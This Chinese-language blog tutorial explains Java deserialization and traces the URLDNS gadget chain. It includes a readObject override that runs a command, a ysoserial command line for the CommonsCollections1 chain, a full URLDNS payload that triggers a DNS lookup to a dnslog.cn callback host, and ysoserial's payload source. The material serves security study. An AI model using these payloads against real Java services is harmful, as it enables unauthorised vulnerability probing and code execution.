java urldns利用链分析
文章最后更新时间为:2021年06月22日 10:35:04
1. java反序列化
序列化和反序列化是一种常见的编程思想,序列化就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态),序列化就是将字节流转化为对象。
在java中,某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口,便可以被序列化。比如下面的类:
import java.io.Serializable;
public class People implements Serializable {
public String name;
public int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
上述代码定义了People类,并且实现了Serializable接口,我们便可以对其进行序列化和反序列化操作。
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
// 初始化对象
People people = new People();
people.setName("xiaoming");
people.setAge(18);
// 序列化步骤
// 1. 创建一个ObjectOutputStream输出流
// 2. 调用ObjectOutputStream对象的writeObject输出可序列化对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("/tmp/People.txt")));
oos.writeObject(people);
System.out.println("people对象序列化成功!");
// 反序列化步骤
// 1. 创建一个ObjectInputStream输入流
// 2. 调用ObjectInputStream对象的readObject()得到序列化的对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/People.txt")));
People people1 = (People) ois.readObject();
System.out.println("people对象反序列化成功!");
System.out.println(people1.getName());
System.out.println(people1.getAge());
}
}
代码运行结果:
people对象序列化成功!
people对象反序列化成功!
xiaoming
18
序列化过程将字节流保存在/tmp/People.txt中,我们可以在/tmp/People.txt看到序列化后的二进制对象。
$ xxd /tmp/People.txt
00000000: aced 0005 7372 000d 636c 6173 7332 2e50 ....sr..class2.P
00000010: 656f 706c 651f 23cd 0945 cd0c 4002 0002 eople.#..E..@...
00000020: 4900 0361 6765 4c00 046e 616d 6574 0012 I..ageL..namet..
00000030: 4c6a 6176 612f 6c61 6e67 2f53 7472 696e Ljava/lang/Strin
00000040: 673b 7870 0000 0012 7400 0878 6961 6f6d g;xp....t..xiaom
00000050: 696e 67 ing
其中开头的aced 0005是java序列化文件的文件头,这是java序列化字节流的一个重要特征。
关于java序列化和反序列化的一些特性,可以阅读参考文章1java序列化,看这篇就够了
在上面的代码中,我们通过调用ObjectInputStream对象的readObject()得到序列化的对象,那么我们如果控制了这个对象的readObject()方法会怎么样?
为了验证想法,我们修改一下People类,重写其readObject()方法:
public class People implements Serializable {
......
// 添加以下方法,重写People类的readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
运行程序,当执行People people1 = (People) ois.readObject();
语句时会调用ois(People类)的readObject方法,弹出计算器:
由此可知控制了某个类的readObject方法便可以在反序列化该类时执行任意操作。事实上大多数java反序列化漏洞都可追溯到readObject方法,改造某个类的readObject()方法使其能够执行命令,然后构造pop链触发该类的反序列化。
可以看看简单的例子是CVE-2016-4437,分析可以看我以前写过的文章:https://saucer-man.com/information_security/396.html#cl-2
2. ysoserial介绍
谈到反序列化,肯定需要了解ysoserial,这是一个开源的java反序列化利用工具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令,也就是说里面集成了常用的反序列化payload。
项目地址:https://github.com/frohoff/ysoserial
什么是利⽤链?
利⽤链也叫“gadget
chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能
是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。
ysoserial的使⽤也很简单,比如利用CommonsCollections利用链执行calc命令:
java -jar ysoserial.jar CommonsCollections1 calc.exe
3. urldns利用链分析
往往我们无法直接控制反序列化的对象,所以也就无法直接改写反序列化的对象的readobject方法,所以我们需要利用已有的类去实现命令执行。
这里先来分析一个最简单的反序列化利用链URLDNS,利用这个链我们可以执行一次dns查询的操作,从而可以快速判断出是否存在反序列化漏洞。因为这个gadget不需要依赖第三方库,不限制jdk版本,且不需要回显,所以被广泛用于poc检测。
完整的urldns利用链条代码如下:
package URLDNS;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 定义一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
// 设置我们触发dns查询的url
URL url = new URL("http://6izjpa.dnslog.cn");
// 下面在put前修改url的hashcode为非-1的值,put后将hashcode修改为-1
// 1. 将url的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 2. 设置url的hashCode字段为任意不为-1的值
f.set(url, 111);
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
// 3. 将 url 放入 hashMap 中,右边参数随便写
hashMap.put(url, "xxxx");
// 4. 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);
//序列化操作
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//反序列化,触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
运行代码后,在http://www.dnslog.cn/页面发现触发了一次url的dns解析。下面来看为什么会触发这次dns解析,又是在什么时候触发的。
反序列化时,会调用URLDNS类的getObject⽅法,在最后一行的ois.readObject();
打上断点,然后开始调试。
进入该readObject方法后,可以step in到HashMap的readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
看最后putVal这一行,putVal是往HashMap中放入键值对的方法,这里调用了hash方法来处理key,跟进hash方法:
hash方法调用了key.hashCode方法,继续跟进这里
如果hashCode不为-1,则直接返回该hashcode,否则调用URLStreamHandler(handler是URLStreamHandler对象)的hashCode方法。继续跟进其hashCode⽅法:
可以看到hashCode方法中调用了getHostAddress方法,正是这步触发了dns请求:
到此整个urldns利用链就执行了。
回过头来看看HashMap的readObject方法,会将key、value放入HashMap对象中,如果key的hashCode为-1,则会对key做一次dns查询操作。所以只要我们构造HashMap对象中,存在某个hashCode为-1的key,则会触发dns操作。
那么为什么构造该对象之前,要把key的hashMap变成非-1的数字呢?
这里可以看一下把key放入hashMap的过程,调试到hashMap的put方法:
可以看到也会调用hash(key)方法,此时也会判断key的hashMap,如果是-1则会触发一次dns请求。
所以在put前,将key的hashMap置为非-1的数,防止触发两次dns请求,混淆我们的判断。
在jdk11下,urldns完整的gadgets为:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
下面来看看ysoserial中代码 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
可以看到ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个SilentURLStreamHandler类,改写了getHostAddress方法,在put一个url到hashMap中时,不会真正触发dns查询请求。
4. 参考文章
- java序列化,看这篇就够了
- 《Java安全漫谈 - 08.反序列化篇(2) 》代码审计知识星球
- Java反序列化 — URLDNS利用链分析